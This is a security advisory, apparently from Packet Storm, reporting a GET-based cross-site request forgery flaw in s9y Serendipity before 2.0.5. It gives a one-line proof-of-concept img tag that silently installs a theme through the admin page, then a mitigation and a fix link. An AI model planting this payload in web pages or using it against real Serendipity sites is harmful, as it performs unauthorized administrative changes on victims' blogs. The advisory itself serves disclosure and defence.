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s9y Serendipity Cross Site Request Forgery

🗓️ 11 Apr 2017 00:00:00Reported by Zhiyang ZengType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

s9y Serendipity CSRF vulnerability allows unauthorized theme installations without token protectio

Code
`Details  
  
======  
  
  
Software: s9y Serendipity  
  
Version: <2.0.5  
  
Homepage: https://docs.s9y.org/  
  
  
=======  
  
  
Description  
  
================  
  
Get type CSRF in Serendipity allows attacker installs any themes, no token here.  
  
  
POC:  
  
  
========  
  
  
include this in the page ,then attack will occur:  
  
  
<img src="http://127.0.0.1/serendipity/serendipity_admin.php?serendipity%5BadminModule%5D=templates&serendipity%5BadminAction%5D=install&serendipity%5Btheme%5D=bartleby&serendipity%5Bspartacus_fetch%5D=bartlebya>  
  
  
  
Mitigations  
  
=======  
  
  
update to Serendipity v2.1.x  
  
  
========  
  
  
FIX:  
  
  
==========  
  
  
https://github.com/s9y/Serendipity/issues/452  
  
  
Best regards,  
  
  
Zhiyang Zeng of Tencent security platform department  
`

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